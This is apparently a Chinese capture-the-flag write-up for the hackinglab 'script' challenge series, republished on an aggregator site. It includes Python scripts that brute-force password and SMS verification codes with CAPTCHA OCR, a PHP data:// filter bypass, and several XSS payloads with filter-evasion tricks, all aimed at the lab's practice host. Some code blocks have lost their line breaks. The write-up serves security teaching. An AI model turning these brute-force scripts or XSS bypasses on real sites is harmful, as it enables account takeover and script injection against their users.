[hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup

脚本关 1 key又又找不到了
关键字:
知识点:
步骤:点击提供的链接后,实际发生了两次跳转,key 在第一次跳转的网页中,key is : yougotit_script_now
在这里插入图片描述

脚本关 2 快速口算
关键字:
知识点:python基础
1.python–正则表达式中(.)()(.?)以及re.S的认识

#-*-coding:gb2312-*-
__author__ = 'fudandax'
import re
str = 'aabhh\nacbccd\na\nbbdffbgg'
#一个'.'就是匹配\n(换行符)以外的任何字符
print(re.findall(r'a.b',str))
#一个'*'前面的字符出现0次或以上
print(re.findall(r'a*b',str))
#贪婪,匹配从.*前面为开始到后面为结束的所有内容。
print(re.findall(r'a.*b',str))
#非贪婪,遇到开始和结束就截取,因此截取多次符合的结果,中间没有字符也会被截取 ???
print(re.findall(r'a.*?b',str))
#非贪婪,与上面是一样的,只是与上面相比,多了一个括号,只保留括号中的内容
print(re.findall(r'a(.*?)b',str))
#re.S不会对\n进行中断
print(re.findall(r'a(.*?)b',str,re.S))
#保留a,b中间的内容
print(re.findall(r'a(.+?)b',str))
print(re.findall(r'a(.+?)b',str)[0])

2.eval() 函数用来执行一个字符串表达式,并返回表达式的值。
3.
步骤:

import requests
import reurl = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php's= requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]
#print(re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)) #['6970*21290+48*(6970+21290)']
#print(re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]) #6970*21290+48*(6970+21290)
result=eval(num)print(result)
r=s.post(url,data={'v': eval(num)})
print (r.text)

脚本关3 这个题目是空的
关键字: null
步骤: null

脚本关 怎么就是不弹出key呢?
关键字:js
知识点:代码审计。发现alert(),prompt()和write()函数都被新函数覆盖掉了。

步骤:
1.f12,查看源代码,变量a其实是一个匿名函数,而且js里面也禁用了一些常用的弹出对话框的函数,由于js是基于客户端浏览器的
2.打开来新的页面 f12 控制台 粘贴a里面的内容
在这里插入图片描述
slakfjteslkjsd

脚本关 5 逗逼验证码第一期
关键字:burp 爆破 重放
知识点:
步骤:
返回pwd error。重放,返回的还是 pwd error。由此可知验证码失效
1.burp 抓获 获得pwd error 的错误
在这里插入图片描述
2.右键send to intruder,设置相关参数,attack (可能出现Payload set 1: Invalid number settings)
在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述
3.得到密码,repeater重修改密码,go一下得到flag
在这里插入图片描述

PS:Payload set 1: Invalid number settings这是一个软件bug
在这里插入图片描述

如果点击start attrack 后出现 Payload set 1: Invalid number settings 的提示,先点hex 后点 decimal 再开始start attrack,需要手动让它刷新。

在这里插入图片描述

脚本关 6 逗比验证码第二期
关键字:burp
知识点:
步骤:
1.访问通关地址,输入任意的4位数字进行登录,返回pwd error,重放,返回的是vcode error。可知验证码验证一次即失效了

在这里插入图片描述
2.尝试删除vcode参数的值,重放,返回pwd error。
在这里插入图片描述
3.爆破得到pwd= 1228,返回修改得到key : LJLJL789ss33fasvxcvsdf#@sd
在这里插入图片描述

脚本关 7 逗比的验证码第三期(SESSION)
关键字:重放 session burp
知识点:验证码发布的流程

  1. 显示表单
  2. 显示验证码(调用生成验证码的程序),将验证码加密后放进 session 或者 cookie
  3. 用户提交表单
  4. 核对验证码无误、数据合法后写入数据库完成
    用户如果再发布一条,正常情况下,会再次访问表单页面,验证码图片被动更新, session 和 cookie 也就跟着变了
    但是灌水机操作不一定非要使用表单页面,它可以直接模拟 post 向服务端程序发送数据,这样验证码程序没有被调用,当然 session 和 cookie 存储的加密验证码就是上次的值,也就没有更新,这样以后无限次的通过post直接发送的数据,而不考虑验证码,验证码形同虚设!
    所以,在核对验证码后先将 session 和 cookie 的值清空,然后做数据合法性判断,然后入库!这样,一个漏洞就被补上了!
    步骤: 同第六题

脚本关 8微笑一下就能过关了
关键字:php
知识点:
步骤:
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?.=data://text/plain;charset=unicode,(●’◡’●)

脚本关 9逗比的手机验证码
关键字:
知识点:
步骤:
1.查看源码
在这里插入图片描述

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?view-source
2.分析源码 考PHP伪协议

1.必须对"^_^"赋值
2."^_^"的值不能有  .  %  [0-9]  http  https  ftp  telnet  这些东西
3.$_SERVER['QUERY_STRING'],"^_^=(输入的值)"这个字符串不能有 _ 这个字符
4.满足$smile!=0
5.file_exists ($_GET['^_^'])必须为0.也就是$_GET['^_^']此文件不存在
6."$smile"必须等于"(●'◡'●)".也就是file_get_contents($_GET['^_^'])必须为"(●'◡'●)"

仔细分析可以发现,第3点与第1点矛盾了

既要对"_“赋值,又得想办法去掉”_“中的”_"

那么可以采用Url编码变为"%5f".这样第3点就满足了.所以我们输入就应该为"%5f"

继续分析第2点,这个地方把 http https ftp telnet 这些给过滤了

而第6点又要通过file_get_contents()取出$_GET[’_’]里的值.

根据第5点,$_GET[’_’]又必须不存在

所以$_GET[’_’]只能是字符串"(●’◡’●)",不可能是文件名

那么file_get_contents()里的参数应该是啥呢,查了一下,发现data://完美符合.所以我们输入就应该为

"^%5f^=data:,(●'◡'●)"

在这里插入图片描述

3.打开链接 获取flag

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?%5f=data:,(●’◡’●)

参考链接:https://blog.csdn.net/qq_26090065/article/details/82503651

脚本关 9 逗比的手机验证码
关键字:手机验证码处的逻辑漏洞
步骤:
在这里插入图片描述

脚本关 10 基情燃烧的岁月
关键字:

知识点:
步骤:

脚本关 11 验证码识别
关键字:
知识点:
步骤:
1.查看原码 手机验证码需要
在这里插入图片描述
2.写脚本
python 2.7

# -*- coding: cp936 -*-
import requests
import image
import pytesseract
import reurl1='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php'
url2='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php'
url3='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
url4='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'#识别验证码的函数
def  user_code():#获取图片验证码r = s.get(url3)with open('1.bmp', 'wb') as f:for chunk in r.iter_content(chunk_size=1024):if chunk:  f.write(chunk)f.flush()f.close()#识别图片验证码im = pytesseract.image_to_string('1.bmp')im = im.replace(' ', '')#因为验证码识别不太准确,需要用正则表达式判断一下if re.match('[0-9]{4}',im) :return imelse :return user_code()s=requests.session()
#先给手机发送验证码,不然会出现“验证码还没发呢”
r=s.post(url2,{'getcode':1,'mobi':13388886666})#爆破手机验证码
for code in range(100,1000):hhh=user_code()print hhh,codedata={'username':13388886666,'mobi_code':code,'user_code':hhh,'Login':'submit'}r=s.post(url4,data=data)print r.content#得到flag就停止if 'error' not in r.content :break

python 3

  #!/usr/bin/env python3# Author: renzongxianimport pytesseractfrom PIL import Imageimport requestsimport oscur_path = os.getcwd()vcode_path = os.path.join(cur_path, 'vcode.png')header = {'Cookie': 'PHPSESSID=$Your Value'}def vcode():# 验证码识别函数pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'r = requests.get(pic_url, headers=header, timeout=10)with open(vcode_path, 'wb') as pic:pic.write(r.content)im = pytesseract.image_to_string(Image.open(vcode_path))im = im.replace(' ', '')if im != '':return imelse:return vcode()url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'for i in range(100, 1000):code = vcode()data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}r = requests.post(url, data=data, headers=header, timeout=10)response = r.content.decode('utf-8')if 'user_code or mobi_code error' in response:print('trying ' + str(i))else:print('the mobi_code is ' + str(i))print(response)break

3.运行得到key is 133dbc85dda4aa**)

脚本关 12 XSS基础关
关键字:XSS
步骤:
1.F12查看网页源代码
在这里插入图片描述

2.看到xss,打开文件,就是输入alert(HackingLab)
http://lab1.xseclab.com//xssjs/xss_check.php
在这里插入图片描述
3.输入

<script>alert(HackingLab)</script>

脚本关 13 XSS基础2:简单绕过
关键字:XSS
步骤:
1.上一题的 payload 不能用了,会提示检测到 ,换一种方式
2.输入<img src=# οnerrοr=alert(HackingLab) />

成功弹窗,并得到key is: xss2test2you

脚本关 14 XSS 基础3:检测与构造
关键字:XSS
步骤:
过滤了各种关键字以及<>,但是没有过滤’,这里构造’οnmοuseenter=alert(HackingLab)>,但是发现依然不可以,忽然发现用当value的值后是alert时,后边不会被过滤,所以构造alert’οnmοuseenter=alert(HackingLab)> ,因为onmouseenter 事件在鼠标指针移动到元素上时才触发,所以当我们把鼠标放在下面的框,即可得到key

脚本关 15 Principle很重要的XSS
关键字:xss
步骤:
1.思路 不断尝试 观察过滤情况 得到括号情况
javascript:alert(1) 被屏蔽
在这里插入图片描述

<>括号过滤情况为:
<被过滤(此处过滤指被删除) >正常
但是当两个符号一起出现时会被全部删除,包括中间的内容
这里就是个可以利用的绕过方式了
2. 尝试绕过 javascript:alert(1)
1.结果却被屏蔽,有以下两种情况:
2.1后端代码是先匹配删除掉括号再进行的关键词查找
2.2alter被屏蔽
2.测试下第二个情况
在这里插入图片描述
3.其他情况
在这里插入图片描述

 ' onmouseover=al<c>ert(HackingLab)>

参考:https://blog.csdn.net/Jacob12774/article/details/84778322

参考链接:https://www.cnblogs.com/renzongxian/p/5618631.html
参考链接:https://blog.csdn.net/qq_36119192/article/details/102719130

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/424595.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用递归树求解递归算法时间复杂度

文章内容、图片均来自极客时间。 递归代码复杂度分析起来比较麻烦。一般来说有两种分析方法&#xff1a;递推公式和递归树。 1 递推公式法 归并排序的递推公式是&#xff1a; merge_sort(p…r) merge(merge_sort(p…q), merge_sort(q1…r)) 终止条件&#xff1a; p > r …

spring学习(8):log4j.properties 详解与配置步骤

一、入门实例 1.新建一个JAva工程&#xff0c;导入包log4j-1.2.17.jar&#xff0c;整个工程最终目录如下 2、src同级创建并设置log4j.properties ### 设置### log4j.rootLogger debug,stdout,D,E### 输出信息到控制抬 ### log4j.appender.stdout org.apache.log4j.ConsoleAp…

[hackinglab][CTF][注入关][2020] hackinglab 注入关 writeup

服务器挂了 咕咕咕 参考链接&#xff1a;https://blog.csdn.net/weixin_41924764/article/details/107095963?utm_mediumdistribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&depth_1-utm_sourcedistribute.pc_relevant_t0.none-task-bl…

数据结构六——堆

文章出处&#xff1a;极客时间《数据结构和算法之美》-作者&#xff1a;王争。该系列文章是本人的学习笔记。 1 堆定义 1.1 定义和结构 堆是一个完全二叉树&#xff08;完全二叉树&#xff1a;除了叶子节点外每一层节点都是满的&#xff0c;最后一层的子节点都靠左排列&…

spring学习(9):idea的config配置

点开eventlog 点击之后 勾选 apply---ok

[hackinglab][CTF][上传关][2020] hackinglab 上传关 writeup

上传关 1 请上传一张jpg格式的图片 关键字&#xff1a; 步骤&#xff1a; 1.F12查看源码 2.输入网址 获得key http://lab1.xseclab.com/upload1_a4daf6890f1166fd88f386f098b182af/upload_file.php上传关 2 关键字&#xff1a;burp 知识点&#xff1a; 步骤&#xff1a;看源…

靠谱的Pycharm安装详细教程

如何在本机上下载和安装Pycharm&#xff0c;具体的教程如下&#xff1a; 1、首先去Pycharm官网&#xff0c;或者直接输入网址&#xff1a;http://www.jetbrains.com/pycharm/download/#sectionwindows&#xff0c;下载PyCharm安装包&#xff0c;根据自己电脑的操作系统进行选择…

第四十四期:Keep突然大裁员,回应称“属正常调整”!

10 月 24 日程序员节原本是程序员们最开心的一天&#xff0c;但 Keep 程序员却开心不起来&#xff0c;因为不少人突然面临失业危机。\ 作者&#xff1a;51CTO 10 月 24 日程序员节原本是程序员们最开心的一天&#xff0c;但 Keep 程序员却开心不起来&#xff0c;因为不少人突然…

第四十五期:万亿级日访问量下,Redis在微博的9年优化历程

Redis在微博内部分布在各个应用场景&#xff0c;比如像现在春晚必争的“红包飞”活动&#xff0c;还有像粉丝数、用户数、阅读数、转评赞、评论盖楼、广告推荐、负反馈、音乐榜单等等都有用到Redis。 作者&#xff1a;兰将州来源 一、Redis在微博的应用场景 Redis在微博内部…

数据结构七——图

文章出处&#xff1a;极客时间《数据结构和算法之美》-作者&#xff1a;王争。该系列文章是本人的学习笔记。 1 基本概念 顶点、边 微信&#xff1a;A和B是好朋友&#xff0c;B也和A是好朋友&#xff0c;A和B之间有条边。 入度&#xff1a;每个顶点链接的边的个数每个人好朋友…

[CTF][Web][PHP][JavaScript]弱类型问题

弱类型问题 类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型&#xff0c;或者是两个变量不匹配的时候&#xff0c;PHP会自动地进行变量转换。但是PHP是一个弱类型的语言&#xff0c;导致在进行类型转换的时候会存在很多意想不到的问题。 如果在用于密…

第四十六期:最近程序员频繁被抓,如何避免面向监狱编程?!

最近&#xff0c;有很多关于程序员被抓甚至被判刑的新闻在朋友圈疯传&#xff1a;"某程序员因为接了个外包&#xff0c;帮别人写了个软件&#xff0c;结果这个软件被用于赌博导致被抓。某公司利用爬虫抓取用户信息&#xff0c;最后被发现&#xff0c;导致该公司的程序员被…

算法五——字符串匹配(上)

文章内容、图片均来自极客时间。 如何借助哈希算法实现高效字符串匹配 1 概念和用途 字符串匹配&#xff1a;查找一个字符串A在字符串B中是否出现&#xff0c;这个过程就是字符串匹配。A称为模式串&#xff0c;B称为主串。主串的长度记为n&#xff0c;模式串长度记为m。n>…

算法五——字符串匹配(中)

文章出处&#xff1a;极客时间《数据结构和算法之美》-作者&#xff1a;王争。该系列文章是本人的学习笔记。 1文本编辑器中的查找功能怎么实现 在word中有一个功能&#xff1a;查找某个字符串&#xff0c;将其替换为另一个字符串&#xff0c;就会用到这个功能。 需要新算法的…

第四十七期:漫画:什么是公有云、私有云和混合云?

为了方便大家理解&#xff0c;我们尽量用通俗的语言和举例子的方式讲解&#xff0c;并且文中还配备了漫画供大家参考学习。 作者&#xff1a;漫话编程 为了方便大家理解&#xff0c;我们尽量用通俗的语言和举例子的方式讲解&#xff0c;并且文中还配备了漫画供大家参考学习。 …

第四十八期:你太菜了,竟然不知道Code Review?

我一直认为Code Review(代码审查)是软件开发中的优秀实践之一&#xff0c;可以有效提高整体代码质量&#xff0c;及时发现代码中可能存在的问题。 作者&#xff1a;宝玉 我一直认为Code Review(代码审查)是软件开发中的优秀实践之一&#xff0c;可以有效提高整体代码质量&…

算法五——字符串匹配(下)KMP

文章出处&#xff1a;极客时间《数据结构和算法之美》-作者&#xff1a;王争。该系列文章是本人的学习笔记。 KMP&#xff0c;是三个作者&#xff08;D.E.Knuth&#xff0c;J.H.Morris和V.R.Pratt&#xff09;的简称。   KMP算法和BM一样&#xff0c;也是一个字符串匹配算法。…

第四十九期:大牛总结的MySQL锁优化,写得太好了!

随着 IT 技术的飞速发展&#xff0c;各种技术层出不穷&#xff0c;让人眼花缭乱。尽管技术在不断更新换代&#xff0c;但是有些技术依旧被一代代 IT 人使用至今。 作者&#xff1a;崔皓 随着 IT 技术的飞速发展&#xff0c;各种技术层出不穷&#xff0c;让人眼花缭乱。尽管技…

数据结构八-Trie树

文章出处&#xff1a;极客时间《数据结构和算法之美》-作者&#xff1a;王争。该系列文章是本人的学习笔记。 1 Trie树的使用场景 搜索引擎中的搜索词建议。当你在搜索引擎中输入词&#xff0c;搜索引擎提示给你一个词的列表&#xff0c;帮助你快速输入想搜索的词。 这个功能…

[安全模型][Cambria Math][A][]敌手A-> 怎么打出来?

字母A 设置字体 “Cambria Math” -> &#x1d49c;